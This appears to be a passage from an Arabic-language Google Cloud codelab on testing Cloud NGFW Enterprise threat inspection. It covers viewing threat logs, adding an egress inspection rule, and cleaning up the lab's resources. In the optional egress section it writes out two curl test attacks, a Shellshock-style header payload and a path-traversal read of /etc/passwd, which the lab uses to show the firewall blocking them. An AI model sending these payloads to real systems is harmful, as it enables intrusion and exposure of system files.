<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

انتقِل إلى "أمان الشبكة" >. التهديدات على Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة التحميل عدة مرات في حال عدم عرض الهجمات بعد).

daa535fcc34873aa.png

اختيار إحدى الهجمات والنقر على "عرض سجلّ التدقيق" في الجانب الأيسر (يتم فتحه في علامة تبويب جديدة للرجوع إليه بسهولة). وسِّع الهجوم لإظهار التفاصيل:

5f97cdef79e42eff.png

بشكل اختياري، استبدل فلتر Log Explorer (مستكشف السجلات) بالطلب أدناه:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

يجب عرض إدخالات سجلّ التهديدات على النحو التالي:

5ea9581a7eb694c5.png

يمكن التحقّق من حزَم جدار الحماية التي تم اعتراضها في Cloud Firewall باستخدام فلتر "Log Explorer" (مستكشف السجلّ) أدناه (يساعدك ذلك في أغراض تحديد المشاكل وحلّها):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

يمكنك المتابعة إلى فحص حركة المرور على الإنترنت (اختياري) أو إغلاق جلسة بروتوكول النقل الآمن (SSH) والانتقال إلى الفصل التالي لخطوات التنظيف.

[اختياري] فحص حركة المرور على الإنترنت

وكما تم التحقق منه في القسم السابق، فإن التدفقات التي تم فحصها حتى الآن تشمل الشبكة الفرعية/VPC (الشرق-الغربي) وحركة البيانات الواردة من الإنترنت (الواردة من الشمال إلى الجنوب). يمكن أيضًا ضبط Cloud NGFW Enterprise لفحص جميع حركة البيانات على الإنترنت (خارجية من الشمال إلى الجنوب) من خلال إنشاء قاعدة خروج جديدة باستخدام Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

عليك التبديل مرة أخرى إلى الجهاز الافتراضي للعميل وإعادة إرسال الهجمات العالية الخطورة إلى عنوان IP للخادم الخارجي:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

المخرجات المتوقعة:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

انتقِل إلى علامة التبويب "التهديدات" على Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة التحميل عدة مرات). كان من المفترض تحديد الهجمات وتسجيلها مرة أخرى، ولكن الآن عنوان IP المصدر داخلي لأنّه يتم تفعيل قاعدة الخروج أولاً:

36f8edf264dcddcd.png

أغلِق جلسة بروتوكول النقل الآمن (SSH) وانتقِل إلى القسم التالي للتعرّف على خطوات التنظيف.

8. خطوات التنظيف

تنظيف مكونات Cloud NGFW Enterprise

إدراج ارتباطات حالية في Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

حذف ربط Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

إدراج نقاط نهاية Cloud NGFW Enterprise الحالية:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

احذف نقطة نهاية Cloud NGFW Enterprise، التي قد تستغرق حوالي 20 دقيقة:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

تأكَّد من حذف Cloud NGFW Enterprise من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

حذف مجموعة الملفات الشخصية للأمان والملف الشخصي لمنع التهديدات:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

تنظيف عملية إعداد الأساس

يُرجى المتابعة إلى الخطوة التالية إذا كنت تفضِّل حذف الموارد الأساسية.

حدد متغيرات البيئة إذا لزم الأمر. من Cloud Shell، احذف مكوِّنات جهاز موازنة حمل الشبكة:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

إزالة النُسخ الافتراضية:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

يمكنك اختياريًا تنفيذ الخطوات التالية في حال تغيير دورَي TagAdmin وtagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

إزالة مفتاح العلامة وقيمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

احذف سياسة شبكة جدار الحماية على Cloud والاقتران بها:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

حذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

أخيرًا، احذف الشبكة الفرعية وشبكة VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز الخاص بأداة فحص Cloud NGFW Enterprise في الشرق والغرب والشمال والجنوب.